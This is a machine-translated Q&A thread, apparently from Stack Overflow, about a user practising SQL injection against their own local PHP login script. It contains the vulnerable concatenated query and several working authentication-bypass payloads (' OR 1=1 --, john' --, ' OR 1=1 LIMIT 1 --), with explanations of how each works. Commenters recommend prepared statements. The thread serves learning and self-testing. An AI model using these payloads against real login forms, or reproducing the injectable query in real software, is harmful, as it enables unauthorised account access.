2017-02-05 13 views
0


Я хочу попробовать свою локальную SQL-инъекцию в этом сценарии входа. Но я не знаю, как это сделать. База данных состоит из трех столбцов id, nameUser, passwordUser. Или мне нужно создать другой скрипт, который небезопасен для инъекций.
Спасибо за ваш совет.Безопасность Вход в PHP SQL-инъекция

if(isset($_POST['sent'])) { 
$nameUser = $_POST["name_User"]; 
$passwordUser = $_POST["password_User"]; 
$heslo = hash('sha512', $passwordUser); 


$dotaz = $spojeni->query("select * from uzivatele where nameUser = '$nameUser' and passwordUser = '$heslo'"); 
$result = mysqli_num_rows($dotaz); 
$row = mysqli_fetch_array($dotaz); 
if ($result == 1) { 
    echo "You are log in"; 
    die(); 
} else { 
    echo "badlogin"; 
    exit(); 
} } 
+2

Вы должны подготовить запрос, связывать значения и выполнять. Это так просто, и этот сайт полон примеров. Пробовал функцию поиска еще? Возможно, прочитайте [документацию] (http://stackoverflow.com/documentation/php/2784/php-mysqli#t=201702051217273008155) – Xorifelse

+0

используйте инструкции подготовки для предотвращения внедрения SQL-пакетов http://www.w3schools.com/php/ php_mysql_prepared_statements.asp –

+1

Если вы используете что-то вроде «OR 1 = 1; как пароль, который может вам просто помочь. Вам нужно использовать подготовленный оператор или, в худшем случае, избегать строк. –

ответ

0
' or '1'='1 

Если выше вводится имя пользователя и пароль это будет делать то, что вы пытаетесь достичь.

Так запрос будет модифицируются, как:

SELECT * FROM uzivatele WHERE nameUser='' or '1'='1' AND passwordUser='' or '1'='1'; 

Его ищет для каждого, чтобы быть правдой, так как 1 будет всегда равна 1.

0

Примечание:

Я стараюсь все 'OR 1 = 1' ИЛИ ​​id = 1 - ... но не работает.

В своем вопросе вы используете как Процедурный и объектно-ориентированное PHP MySQL взаимодействия, который не будет работать и даст вам различные ошибки сценария. Вам нужно использовать тот или иной, эти две вещи делают не взаимодействуют друг с другом!


Ответ

Строки в MySQL заключены в одинарные кавычки, так что вам нужно, чтобы закрыть строку в начале, а затем добавить любую команду MySQL вы хотите на конце, прежде чем, наконец, приведение в порядок так вы не вызываете синтаксическую ошибку в исходной инструкции SQL (хотя с точки зрения точки вставки точки синтаксиса могут быть полезны при просмотре того, насколько уязвимы SQL-запросы, поскольку люди с этими уязвимостями часто выводят свои ошибки на экран, а не на файлы журналов, и т. д.):

часть 1:

Закройте входную строку раньше; x'

Часть 2:

кэрри заявление SQL, добавляя свои собственные инструкции, но не вызывая ошибку синтаксиса (часть 3).

Обычно с помощью номера: OR 1=1(всегда будет истинным)

Часть 3 предотвращающие ошибку синтаксиса.

-- или # (начало комментария) или прилагая SQL, так что полный SQL-запрос синтаксически правильный (впрыск строка заканчивается с открытой строкой): nameUser = 'z

Таким образом, ваш вход имени пользователя строка теперь может быть:

x' OR 1=1 OR nameUser='z 

дает ваш SQL:

select * from uzivatele where nameUser = 'x' OR 1=1 OR nameUser='z' 
and passwordUser = '' 

Или же с помощью комментариев:

x' OR 1=1 -- 

select * from uzivatele where nameUser = 'x' OR 1=1 -- ' and passwordUser = '' 
+0

Поэтому я исправляю запрос к $ dotaz = mysqli_query ($ spojeni, "select * from uzivatele, где nameUser = '$ nameUser' и passwordUser = '$ heslo'"); И теперь, когда я пробую вашу процедуру, используя этот x 'OR 1 = 1 - to nameUser. Я все еще получаю эхо-сигнал badlogin. Или иногда ошибка mysqli_num_rows() ожидает, что параметр 1 будет mysqli_result – Daviasd

+0

Когда я пытаюсь ввести синтаксис инъекции ('OR 1 = 1 LIMIT 1 -, x' OR 1 = 1 -) для ввода nameUser и dump $ dotaz Я получаю bool (false) в $ dotaz. Зачем ? – Daviasd

+0

Процедурный. Этот скрипт работает, но когда я пытаюсь добавить sql-инъекцию для ввода имени пользователя. Я получаю предупреждение, потому что в $ dotaz есть bool. – Daviasd

1

Чтобы войти в систему как john (при условии, что это является допустимым пользователем) можно преобразовать следующим образом:

select * from uzivatele where nameUser = '$nameUser' and passwordUser = '$heslo 
              ^^^^^^^^^ 

... в этом:

select * from uzivatele where nameUser = 'john' -- ' and passwordUser = '$heslo' 
              ^^^^^^^^^ 

... установив $_POST["name_User"] равный подчеркнутому коду. Условие пароля полностью игнорируется, поскольку оно теперь находится в комментарии.

Если вы не хотите, чтобы выдавать себя за кого-то, а просто войти в систему с любого случайного пользователя, вам нужно только, чтобы гарантировать, что окончательный запрос возвращает ровно одну строку, например:

select * from uzivatele where nameUser = '' OR 1=1 LIMIT 1 -- ' and passwordUser = '$heslo' 
              ^^^^^^^^^^^^^^^^^^^^ 
+0

но что, если john недействительный пользователь? – Martin

+1

@Martin Интересный вопрос. Я расширил свой ответ. –